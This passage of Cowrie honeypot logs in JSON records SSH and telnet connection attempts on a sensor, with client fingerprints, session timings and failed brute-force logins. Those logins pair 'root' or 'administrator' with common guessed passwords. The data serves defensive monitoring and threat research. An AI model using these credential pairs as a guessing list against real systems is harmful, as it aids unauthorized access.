761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:37.009992Z","src_ip":"45.78.230.231","session":"90abdb3f8302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456zx","message":"login attempt [root/123456zx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:37.094188Z","src_ip":"103.82.132.16","session":"477412f32f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"midnight","message":"login attempt [root/midnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:37.751189Z","src_ip":"43.133.34.13","session":"ef4b7a693855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:38.024693Z","src_ip":"45.78.230.231","session":"90abdb3f8302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:38.356182Z","src_ip":"103.82.132.16","session":"477412f32f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:38.991217Z","src_ip":"43.133.34.13","session":"ef4b7a693855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:41.861542Z","src_ip":"45.78.230.231","session":"90abdb3f8302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":48800,"dst_ip":"159.203.135.109","dst_port":22,"session":"df78cbae3a4e","protocol":"ssh","message":"New connection: 191.96.110.121:48800 (159.203.135.109:22) [session: df78cbae3a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:42.986650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:43.001065Z","src_ip":"191.96.110.121","session":"df78cbae3a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":50138,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4f53908f0e3","protocol":"ssh","message":"New connection: 43.130.35.229:50138 (159.203.135.109:22) [session: b4f53908f0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:43.098157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:43.102576Z","src_ip":"43.130.35.229","session":"b4f53908f0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:43.170995Z","src_ip":"43.130.35.229","session":"b4f53908f0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:43.303670Z","src_ip":"191.96.110.121","session":"df78cbae3a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:43.476551Z","src_ip":"43.130.35.229","session":"b4f53908f0e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:44.305785Z","src_ip":"191.96.110.121","session":"df78cbae3a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:44.546877Z","src_ip":"43.130.35.229","session":"b4f53908f0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:45.488606Z","src_ip":"191.96.110.121","session":"df78cbae3a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0046706199646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:48.879534Z","src_ip":"152.42.224.71","session":"441d598a2ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":38714,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ca7a3294a69","protocol":"ssh","message":"New connection: 43.130.38.88:38714 (159.203.135.109:22) [session: 7ca7a3294a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:54.600877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:54.609517Z","src_ip":"43.130.38.88","session":"7ca7a3294a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:54.692422Z","src_ip":"43.130.38.88","session":"7ca7a3294a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":39316,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8c35aae8dce","protocol":"ssh","message":"New connection: 68.183.236.1:39316 (159.203.135.109:22) [session: f8c35aae8dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:54.942454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:54.946843Z","src_ip":"68.183.236.1","session":"f8c35aae8dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin","message":"login attempt [administrator/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:54.996323Z","src_ip":"43.130.38.88","session":"7ca7a3294a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:55.191143Z","src_ip":"68.183.236.1","session":"f8c35aae8dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:56.068436Z","src_ip":"43.130.38.88","session":"7ca7a3294a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:56.201281Z","src_ip":"68.183.236.1","session":"f8c35aae8dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38712,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2e4dba5f83","protocol":"telnet","message":"New connection: 152.42.224.71:38712 (10.17.0.5:23) [session: 8e2e4dba5f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:56.885041Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:57.450208Z","src_ip":"68.183.236.1","session":"f8c35aae8dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.69401955604553,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:02.694126Z","src_ip":"152.42.224.71","session":"11b2a4f9efda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":49244,"dst_ip":"159.203.135.109","dst_port":22,"session":"0da53aad28ee","protocol":"ssh","message":"New connection: 72.52.132.30:49244 (159.203.135.109:22) [session: 0da53aad28ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:04.831211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:04.837471Z","src_ip":"72.52.132.30","session":"0da53aad28ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:04.880862Z","src_ip":"72.52.132.30","session":"0da53aad28ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medical","message":"login attempt [root/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:05.050117Z","src_ip":"72.52.132.30","session":"0da53aad28ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:06.085626Z","src_ip":"72.52.132.30","session":"0da53aad28ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.70275616645813,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:10.272830Z","src_ip":"152.42.224.71","session":"f080a32656f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45676,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc0eeba7146","protocol":"telnet","message":"New connection: 152.42.224.71:45676 (10.17.0.5:23) [session: fdc0eeba7146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:14.314362Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44992,"dst_ip":"10.17.0.5","dst_port":23,"session":"e486e52963d7","protocol":"telnet","message":"New connection: 152.42.224.71:44992 (10.17.0.5:23) [session: e486e52963d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:19.375058Z"}
{"eventid":"cowrie.session.closed","duration":53.093403339385986,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:21.470319Z","src_ip":"152.42.224.71","session":"0abb599badbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":47832,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e760826fcb","protocol":"ssh","message":"New connection: 43.153.31.20:47832 (159.203.135.109:22) [session: e6e760826fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:27.299839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:27.305411Z","src_ip":"43.153.31.20","session":"e6e760826fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:27.374060Z","src_ip":"43.153.31.20","session":"e6e760826fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password123","message":"login attempt [administrator/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:27.680938Z","src_ip":"43.153.31.20","session":"e6e760826fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00141477584839,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:28.254773Z","src_ip":"152.42.224.71","session":"c2031db4c9e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:28.753003Z","src_ip":"43.153.31.20","session":"e6e760826fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":44834,"dst_ip":"159.203.135.109","dst_port":22,"session":"a40ffd96a695","protocol":"ssh","message":"New connection: 37.143.61.241:44834 (159.203.135.109:22) [session: a40ffd96a695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:29.062481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:29.067595Z","src_ip":"37.143.61.241","session":"a40ffd96a695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:29.152420Z","src_ip":"37.143.61.241","session":"a40ffd96a695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":43772,"dst_ip":"10.17.0.5","dst_port":22,"session":"363a1ac14502","protocol":"ssh","message":"New connection: 159.65.8.74:43772 (10.17.0.5:22) [session: 363a1ac14502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:29.399850Z"}
